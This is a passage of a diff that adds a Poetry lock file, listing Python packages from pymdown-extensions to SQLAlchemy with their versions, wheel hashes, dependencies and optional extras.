["coverage[toml] (==5.0.4)", "cryptography (>=3.4.0)", "pre-commit", "pytest (>=6.0.0,<7.0.0)", "sphinx (>=4.5.0,<5.0.0)", "sphinx-rtd-theme", "zope.interface"] +docs = ["sphinx (>=4.5.0,<5.0.0)", "sphinx-rtd-theme", "zope.interface"] +tests = ["coverage[toml] (==5.0.4)", "pytest (>=6.0.0,<7.0.0)"] + +[[package]] +name = "pymdown-extensions" +version = "10.0.1" +description = "Extension pack for Python Markdown." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pymdown_extensions-10.0.1-py3-none-any.whl", hash = "sha256:ae66d84013c5d027ce055693e09a4628b67e9dec5bce05727e45b0918e36f274"}, + {file = "pymdown_extensions-10.0.1.tar.gz", hash = "sha256:b44e1093a43b8a975eae17b03c3a77aad4681b3b56fce60ce746dbef1944c8cb"}, +] + +[package.dependencies] +markdown = ">=3.2" +pyyaml = "*" + +[[package]] +name = "pympler" +version = "1.0.1" +description = "A development tool to measure, monitor and analyze the memory behavior of Python objects." +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "Pympler-1.0.1-py3-none-any.whl", hash = "sha256:d260dda9ae781e1eab6ea15bacb84015849833ba5555f141d2d9b7b7473b307d"}, + {file = "Pympler-1.0.1.tar.gz", hash = "sha256:993f1a3599ca3f4fcd7160c7545ad06310c9e12f70174ae7ae8d4e25f6c5d3fa"}, +] + +[[package]] +name = "pyparsing" +version = "3.0.9" +description = "pyparsing module - Classes and methods to define and execute parsing grammars" +category = "main" +optional = false +python-versions = ">=3.6.8" +files = [ + {file = "pyparsing-3.0.9-py3-none-any.whl", hash = "sha256:5026bae9a10eeaefb61dab2f09052b9f4307d44aee4eda64b309723d8d206bbc"}, + {file = "pyparsing-3.0.9.tar.gz", hash = "sha256:2b020ecf7d21b687f219b71ecad3631f644a47f01403fa1d1036b0c6416d70fb"}, +] + +[package.extras] +diagrams = ["jinja2", "railroad-diagrams"] + +[[package]] +name = "pyrsistent" +version = "0.19.3" +description = "Persistent/Functional/Immutable data structures" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pyrsistent-0.19.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:20460ac0ea439a3e79caa1dbd560344b64ed75e85d8703943e0b66c2a6150e4a"}, + {file = "pyrsistent-0.19.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4c18264cb84b5e68e7085a43723f9e4c1fd1d935ab240ce02c0324a8e01ccb64"}, + {file = "pyrsistent-0.19.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4b774f9288dda8d425adb6544e5903f1fb6c273ab3128a355c6b972b7df39dcf"}, + {file = "pyrsistent-0.19.3-cp310-cp310-win32.whl", hash = "sha256:5a474fb80f5e0d6c9394d8db0fc19e90fa540b82ee52dba7d246a7791712f74a"}, + {file = "pyrsistent-0.19.3-cp310-cp310-win_amd64.whl", hash = "sha256:49c32f216c17148695ca0e02a5c521e28a4ee6c5089f97e34fe24163113722da"}, + {file = "pyrsistent-0.19.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:f0774bf48631f3a20471dd7c5989657b639fd2d285b861237ea9e82c36a415a9"}, + {file = "pyrsistent-0.19.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ab2204234c0ecd8b9368dbd6a53e83c3d4f3cab10ecaf6d0e772f456c442393"}, + {file = "pyrsistent-0.19.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e42296a09e83028b3476f7073fcb69ffebac0e66dbbfd1bd847d61f74db30f19"}, + {file = "pyrsistent-0.19.3-cp311-cp311-win32.whl", hash = "sha256:64220c429e42a7150f4bfd280f6f4bb2850f95956bde93c6fda1b70507af6ef3"}, + {file = "pyrsistent-0.19.3-cp311-cp311-win_amd64.whl", hash = "sha256:016ad1afadf318eb7911baa24b049909f7f3bb2c5b1ed7b6a8f21db21ea3faa8"}, + {file = "pyrsistent-0.19.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c4db1bd596fefd66b296a3d5d943c94f4fac5bcd13e99bffe2ba6a759d959a28"}, + {file = "pyrsistent-0.19.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aeda827381f5e5d65cced3024126529ddc4289d944f75e090572c77ceb19adbf"}, + {file = "pyrsistent-0.19.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:42ac0b2f44607eb92ae88609eda931a4f0dfa03038c44c772e07f43e738bcac9"}, + {file = "pyrsistent-0.19.3-cp37-cp37m-win32.whl", hash = "sha256:e8f2b814a3dc6225964fa03d8582c6e0b6650d68a232df41e3cc1b66a5d2f8d1"}, + {file = "pyrsistent-0.19.3-cp37-cp37m-win_amd64.whl", hash = "sha256:c9bb60a40a0ab9aba40a59f68214eed5a29c6274c83b2cc206a359c4a89fa41b"}, + {file = "pyrsistent-0.19.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:a2471f3f8693101975b1ff85ffd19bb7ca7dd7c38f8a81701f67d6b4f97b87d8"}, + {file = "pyrsistent-0.19.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cc5d149f31706762c1f8bda2e8c4f8fead6e80312e3692619a75301d3dbb819a"}, + {file = "pyrsistent-0.19.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3311cb4237a341aa52ab8448c27e3a9931e2ee09561ad150ba94e4cfd3fc888c"}, + {file = "pyrsistent-0.19.3-cp38-cp38-win32.whl", hash = "sha256:f0e7c4b2f77593871e918be000b96c8107da48444d57005b6a6bc61fb4331b2c"}, + {file = "pyrsistent-0.19.3-cp38-cp38-win_amd64.whl", hash = "sha256:c147257a92374fde8498491f53ffa8f4822cd70c0d85037e09028e478cababb7"}, + {file = "pyrsistent-0.19.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:b735e538f74ec31378f5a1e3886a26d2ca6351106b4dfde376a26fc32a044edc"}, + {file = "pyrsistent-0.19.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:99abb85579e2165bd8522f0c0138864da97847875ecbd45f3e7e2af569bfc6f2"}, + {file = "pyrsistent-0.19.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3a8cb235fa6d3fd7aae6a4f1429bbb1fec1577d978098da1252f0489937786f3"}, + {file = "pyrsistent-0.19.3-cp39-cp39-win32.whl", hash = "sha256:c74bed51f9b41c48366a286395c67f4e894374306b197e62810e0fdaf2364da2"}, + {file = "pyrsistent-0.19.3-cp39-cp39-win_amd64.whl", hash = "sha256:878433581fc23e906d947a6814336eee031a00e6defba224234169ae3d3d6a98"}, + {file = "pyrsistent-0.19.3-py3-none-any.whl", hash = "sha256:ccf0d6bd208f8111179f0c26fdf84ed7c3891982f2edaeae7422575f47e66b64"}, + {file = "pyrsistent-0.19.3.tar.gz", hash = "sha256:1a2994773706bbb4995c31a97bc94f1418314923bd1048c6d964837040376440"}, +] + +[[package]] +name = "python-dateutil" +version = "2.8.2" +description = "Extensions to the standard Python datetime module" +category = "main" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" +files = [ + {file = "python-dateutil-2.8.2.tar.gz", hash = "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86"}, + {file = "python_dateutil-2.8.2-py2.py3-none-any.whl", hash = "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9"}, +] + +[package.dependencies] +six = ">=1.5" + +[[package]] +name = "python-decouple" +version = "3.8" +description = "Strict separation of settings from code." +category = "main" +optional = false +python-versions = "*" +files = [ + {file = "python-decouple-3.8.tar.gz", hash = "sha256:ba6e2657d4f376ecc46f77a3a615e058d93ba5e465c01bbe57289bfb7cce680f"}, + {file = "python_decouple-3.8-py3-none-any.whl", hash = "sha256:d0d45340815b25f4de59c974b855bb38d03151d81b037d9e3f463b0c9f8cbd66"}, +] + +[[package]] +name = "pytz" +version = "2023.3" +description = "World timezone definitions, modern and historical" +category = "main" +optional = false +python-versions = "*" +files = [ + {file = "pytz-2023.3-py2.py3-none-any.whl", hash = "sha256:a151b3abb88eda1d4e34a9814df37de2a80e301e68ba0fd856fb9b46bfbbbffb"}, + {file = "pytz-2023.3.tar.gz", hash = "sha256:1d8ce29db189191fb55338ee6d0387d82ab59f3d00eac103412d64e0ebd0c588"}, +] + +[[package]] +name = "pytz-deprecation-shim" +version = "0.1.0.post0" +description = "Shims to make deprecation of pytz easier" +category = "main" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" +files = [ + {file = "pytz_deprecation_shim-0.1.0.post0-py2.py3-none-any.whl", hash = "sha256:8314c9692a636c8eb3bda879b9f119e350e93223ae83e70e80c31675a0fdc1a6"}, + {file = "pytz_deprecation_shim-0.1.0.post0.tar.gz", hash = "sha256:af097bae1b616dde5c5744441e2ddc69e74dfdcb0c263129610d85b87445a59d"}, +] + +[package.dependencies] +tzdata = {version = "*", markers = "python_version >= \"3.6\""} + +[[package]] +name = "pyyaml" +version = "6.0" +description = "YAML parser and emitter for Python" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "PyYAML-6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d4db7c7aef085872ef65a8fd7d6d09a14ae91f691dec3e87ee5ee0539d516f53"}, + {file = "PyYAML-6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9df7ed3b3d2e0ecfe09e14741b857df43adb5a3ddadc919a2d94fbdf78fea53c"}, + {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77f396e6ef4c73fdc33a9157446466f1cff553d979bd00ecb64385760c6babdc"}, + {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a80a78046a72361de73f8f395f1f1e49f956c6be882eed58505a15f3e430962b"}, + {file = "PyYAML-6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:f84fbc98b019fef2ee9a1cb3ce93e3187a6df0b2538a651bfb890254ba9f90b5"}, + {file = "PyYAML-6.0-cp310-cp310-win32.whl", hash = "sha256:2cd5df3de48857ed0544b34e2d40e9fac445930039f3cfe4bcc592a1f836d513"}, + {file = "PyYAML-6.0-cp310-cp310-win_amd64.whl", hash = "sha256:daf496c58a8c52083df09b80c860005194014c3698698d1a57cbcfa182142a3a"}, + {file = "PyYAML-6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d4b0ba9512519522b118090257be113b9468d804b19d63c71dbcf4a48fa32358"}, + {file = "PyYAML-6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:81957921f441d50af23654aa6c5e5eaf9b06aba7f0a19c18a538dc7ef291c5a1"}, + {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:afa17f5bc4d1b10afd4466fd3a44dc0e245382deca5b3c353d8b757f9e3ecb8d"}, + {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dbad0e9d368bb989f4515da330b88a057617d16b6a8245084f1b05400f24609f"}, + {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:432557aa2c09802be39460360ddffd48156e30721f5e8d917f01d31694216782"}, + {file = "PyYAML-6.0-cp311-cp311-win32.whl", hash = "sha256:bfaef573a63ba8923503d27530362590ff4f576c626d86a9fed95822a8255fd7"}, + {file = "PyYAML-6.0-cp311-cp311-win_amd64.whl", hash = "sha256:01b45c0191e6d66c470b6cf1b9531a771a83c1c4208272ead47a3ae4f2f603bf"}, + {file = "PyYAML-6.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:897b80890765f037df3403d22bab41627ca8811ae55e9a722fd0392850ec4d86"}, + {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:50602afada6d6cbfad699b0c7bb50d5ccffa7e46a3d738092afddc1f9758427f"}, + {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:48c346915c114f5fdb3ead70312bd042a953a8ce5c7106d5bfb1a5254e47da92"}, + {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:98c4d36e99714e55cfbaaee6dd5badbc9a1ec339ebfc3b1f52e293aee6bb71a4"}, + {file = "PyYAML-6.0-cp36-cp36m-win32.whl", hash = "sha256:0283c35a6a9fbf047493e3a0ce8d79ef5030852c51e9d911a27badfde0605293"}, + {file = "PyYAML-6.0-cp36-cp36m-win_amd64.whl", hash = "sha256:07751360502caac1c067a8132d150cf3d61339af5691fe9e87803040dbc5db57"}, + {file = "PyYAML-6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:819b3830a1543db06c4d4b865e70ded25be52a2e0631ccd2f6a47a2822f2fd7c"}, + {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:473f9edb243cb1935ab5a084eb238d842fb8f404ed2193a915d1784b5a6b5fc0"}, + {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ce82d761c532fe4ec3f87fc45688bdd3a4c1dc5e0b4a19814b9009a29baefd4"}, + {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:231710d57adfd809ef5d34183b8ed1eeae3f76459c18fb4a0b373ad56bedcdd9"}, + {file = "PyYAML-6.0-cp37-cp37m-win32.whl", hash = "sha256:c5687b8d43cf58545ade1fe3e055f70eac7a5a1a0bf42824308d868289a95737"}, + {file = "PyYAML-6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:d15a181d1ecd0d4270dc32edb46f7cb7733c7c508857278d3d378d14d606db2d"}, + {file = "PyYAML-6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0b4624f379dab24d3725ffde76559cff63d9ec94e1736b556dacdfebe5ab6d4b"}, + {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:213c60cd50106436cc818accf5baa1aba61c0189ff610f64f4a3e8c6726218ba"}, + {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9fa600030013c4de8165339db93d182b9431076eb98eb40ee068700c9c813e34"}, + {file = "PyYAML-6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:277a0ef2981ca40581a47093e9e2d13b3f1fbbeffae064c1d21bfceba2030287"}, + {file = "PyYAML-6.0-cp38-cp38-win32.whl", hash = "sha256:d4eccecf9adf6fbcc6861a38015c2a64f38b9d94838ac1810a9023a0609e1b78"}, + {file = "PyYAML-6.0-cp38-cp38-win_amd64.whl", hash = "sha256:1e4747bc279b4f613a09eb64bba2ba602d8a6664c6ce6396a4d0cd413a50ce07"}, + {file = "PyYAML-6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:055d937d65826939cb044fc8c9b08889e8c743fdc6a32b33e2390f66013e449b"}, + {file = "PyYAML-6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e61ceaab6f49fb8bdfaa0f92c4b57bcfbea54c09277b1b4f7ac376bfb7a7c174"}, + {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d67d839ede4ed1b28a4e8909735fc992a923cdb84e618544973d7dfc71540803"}, + {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cba8c411ef271aa037d7357a2bc8f9ee8b58b9965831d9e51baf703280dc73d3"}, + {file = "PyYAML-6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:40527857252b61eacd1d9af500c3337ba8deb8fc298940291486c465c8b46ec0"}, + {file = "PyYAML-6.0-cp39-cp39-win32.whl", hash = "sha256:b5b9eccad747aabaaffbc6064800670f0c297e52c12754eb1d976c57e4f74dcb"}, + {file = "PyYAML-6.0-cp39-cp39-win_amd64.whl", hash = "sha256:b3d267842bf12586ba6c734f89d1f5b871df0273157918b0ccefa29deb05c21c"}, + {file = "PyYAML-6.0.tar.gz", hash = "sha256:68fb519c14306fec9720a2a5b45bc9f0c8d1b9c72adf45c37baedfcd949c35a2"}, +] + +[[package]] +name = "requests" +version = "2.31.0" +description = "Python HTTP for Humans." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "requests-2.31.0-py3-none-any.whl", hash = "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f"}, + {file = "requests-2.31.0.tar.gz", hash = "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1"}, +] + +[package.dependencies] +certifi = ">=2017.4.17" +charset-normalizer = ">=2,<4" +idna = ">=2.5,<4" +urllib3 = ">=1.21.1,<3" + +[package.extras] +socks = ["PySocks (>=1.5.6,!=1.5.7)"] +use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] + +[[package]] +name = "rich" +version = "13.4.1" +description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" +category = "main" +optional = false +python-versions = ">=3.7.0" +files = [ + {file = "rich-13.4.1-py3-none-any.whl", hash = "sha256:d204aadb50b936bf6b1a695385429d192bc1fdaf3e8b907e8e26f4c4e4b5bf75"}, + {file = "rich-13.4.1.tar.gz", hash = "sha256:76f6b65ea7e5c5d924ba80e322231d7cb5b5981aa60bfc1e694f1bc097fe6fe1"}, +] + +[package.dependencies] +markdown-it-py = ">=2.2.0,<3.0.0" +pygments = ">=2.13.0,<3.0.0" + +[package.extras] +jupyter = ["ipywidgets (>=7.5.1,<9)"] + +[[package]] +name = "six" +version = "1.16.0" +description = "Python 2 and 3 compatibility utilities" +category = "main" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*" +files = [ + {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"}, + {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"}, +] + +[[package]] +name = "smmap" +version = "5.0.0" +description = "A pure Python implementation of a sliding window memory map manager" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "smmap-5.0.0-py3-none-any.whl", hash = "sha256:2aba19d6a040e78d8b09de5c57e96207b09ed71d8e55ce0959eeee6c8e190d94"}, + {file = "smmap-5.0.0.tar.gz", hash = "sha256:c840e62059cd3be204b0c9c9f74be2c09d5648eddd4580d9314c3ecde0b30936"}, +] + +[[package]] +name = "soupsieve" +version = "2.4.1" +description = "A modern CSS selector implementation for Beautiful Soup." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "soupsieve-2.4.1-py3-none-any.whl", hash = "sha256:1c1bfee6819544a3447586c889157365a27e10d88cde3ad3da0cf0ddf646feb8"}, + {file = "soupsieve-2.4.1.tar.gz", hash = "sha256:89d12b2d5dfcd2c9e8c22326da9d9aa9cb3dfab0a83a024f05704076ee8d35ea"}, +] + +[[package]] +name = "sqlalchemy" +version = "2.0.15" +description = "Database Abstraction Library" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "SQLAlchemy-2.0.15-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:78303719c6f72af97814b0072ad18bee72e70adca8d95cf8fecd59c5e1ddb040"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9d810b4aacd5ef4e293aa4ea01f19fca53999e9edcfc4a8ef1146238b30bdc28"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3fb5d09f1d51480f711b69fe28ad42e4f8b08600a85ab2473baee669e1257800"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51b19887c96d405599880da6a7cbdf8545a7e78ec5683e46a43bac8885e32d0f"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d6b17cb86908e7f88be14007d6afe7d2ab11966e373044137f96a6a4d83eb21c"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df25052b92bd514357a9b370d74f240db890ea79aaa428fb893520e10ee5bc18"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-win32.whl", hash = "sha256:55ec62ddc0200b4fee94d11abbec7aa25948d5d21cb8df8807f4bdd3c51ba44b"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-win_amd64.whl", hash = "sha256:ae1d8deb391ab39cc8f0d5844e588a115ae3717e607d91482023917f920f777f"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4670ce853cb25f72115a1bbe366ae13cf3f28fc5c87222df14f8d3d55d51816e"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cea7c4a3dfc2ca61f88a2b1ddd6b0bfbd116c9b1a361b3b66fd826034b833142"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6f5784dfb2d45c19cde03c45c04a54bf47428610106197ed6e6fa79f33bc63d3"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9b31ebde27575b3b0708673ec14f0c305c4564d995b545148ab7ac0f4d9b847a"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:6b42913a0259267e9ee335da0c36498077799e59c5e332d506e72b4f32de781d"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6a3f8020e013e9b3b7941dcf20b0fc8f7429daaf7158760846731cbd8caa5e45"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-win32.whl", hash = "sha256:88ab245ed2c96265441ed2818977be28c840cfa5204ba167425d6c26eb67b7e7"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-win_amd64.whl", hash = "sha256:5cc48a7fda2b5c5b8860494d6c575db3a101a68416492105fed6591dc8a2728a"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:f6fd3c88ea4b170d13527e93be1945e69facd917661d3725a63470eb683fbffe"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1e885dacb167077df15af2f9ccdacbd7f5dd0d538a6d74b94074f2cefc7bb589"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:201a99f922ac8c780b3929128fbd9df901418877c70e160e19adb05665e51c31"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:e17fdcb8971e77c439113642ca8861f9465e21fc693bd3916654ceef3ac26883"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:db269f67ed17b07e80aaa8fba1f650c0d84aa0bdd9d5352e4ac38d5bf47ac568"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-win32.whl", hash = "sha256:994a75b197662e0608b6a76935d7c345f7fd874eac0b7093d561033db61b0e8c"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-win_amd64.whl", hash = "sha256:4d61731a35eddb0f667774fe15e5a4831e444d066081d1e809e1b8a0e3f97cae"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:f7f994a53c0e6b44a2966fd6bfc53e37d34b7dca34e75b6be295de6db598255e"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:79bfe728219239bdc493950ea4a4d15b02138ecb304771f9024d0d6f5f4e3706"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d6320a1d175447dce63618ec997a53836de48ed3b44bbe952f0b4b399b19941"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f80a9c9a9af0e4bd5080cc0955ce70274c28e9b931ad7e0fb07021afcd32af6"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:4a75fdb9a84072521bb2ebd31eefe1165d4dccea3039dda701a864f4b5daa17f"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:21c89044fc48a25c2184eba332edeffbbf9367913bb065cd31538235d828f06f"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-win32.whl", hash = "sha256:1a0754c2d9f0c7982bec0a31138e495ed1f6b8435d7e677c45be60ec18370acf"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-win_amd64.whl", hash = "sha256:bc5c2b0da46c26c5f73f700834f871d0723e1e882641932468d56833bab09775"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:670ecf74ee2e70b917028a06446ad26ff9b1195e84b09c3139c215123d57dc30"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:d14282bf5b4de87f922db3c70858953fd081ef4f05dba6cca3dd705daffe1cc9"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:256b2b9660e51ad7055a9835b12717416cf7288afcf465107413917b6bb2316f"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:810199d1c5b43603a9e815ae9487aef3ab1ade7ed9c0c485e12519358929fbfe"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:536c86ec81ca89291d533ff41a3a05f9e4e88e01906dcee0751fc7082f3e8d6c"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:435f6807fa6a0597d84741470f19db204a7d34625ea121abd63e8d95f673f0c4"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-win32.whl", hash = "sha256:da7381a883aee20b7d2ffda17d909b38134b6a625920e65239a1c681881df800"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-win_amd64.whl", hash = "sha256:788d1772fb8dcd12091ca82809eef504ce0f2c423e45284bc351b872966ff554"}, + {file = "SQLAlchemy-2.0.15-py3-none-any.whl", hash = "sha256:933d30273861fe61f014ce2a7e3c364915f5efe9ed250ec1066ca6ea5942c0bd"}, + {file = "SQLAlchemy-2.0.15.tar.gz", hash = "sha256:2e940a8659ef870ae10e0d9e2a6d5aaddf0ff6e91f7d0d7732afc9e8c4be9bbc"}, +] + +[package.dependencies] +greenlet = {version = "!=0.4.17", markers = "platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\""} +typing-extensions = ">=4.2.0" + +[package.extras] +aiomysql = ["aiomysql", "greenlet (!=0.4.17)"] +aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing-extensions (!=3.10.0.1)"] +asyncio = ["greenlet (!=0.4.17)"] +asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (!=0.4.17)"] +mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5)"] +mssql = ["pyodbc"] +mssql-pymssql = ["pymssql"] +mssql-pyodbc = ["pyodbc"] +mypy = ["mypy (>=0.910)"] +mysql = ["mysqlclient (>=1.4.0)"] +mysql-connector = ["mysql-connector-python"] +oracle = ["cx-oracle (>=7)"] +oracle-oracledb = ["oracledb (>=1.0.1)"] +postgresql = ["psycopg2 (>=2.7)"] +postgresql-asyncpg = ["asyncpg", "greenlet (!=0.4.17)"] +postgresql-pg8000 = ["pg8000 (>=1.29.1)"] +postgresql-psycopg = ["psycopg (>=3.0.7)"] +postgresql-psycopg2binary = ["psycopg2-binary"] +postgresql-psycopg2cffi = ["psycopg2cffi"] +pymysql = ["pymysql"] 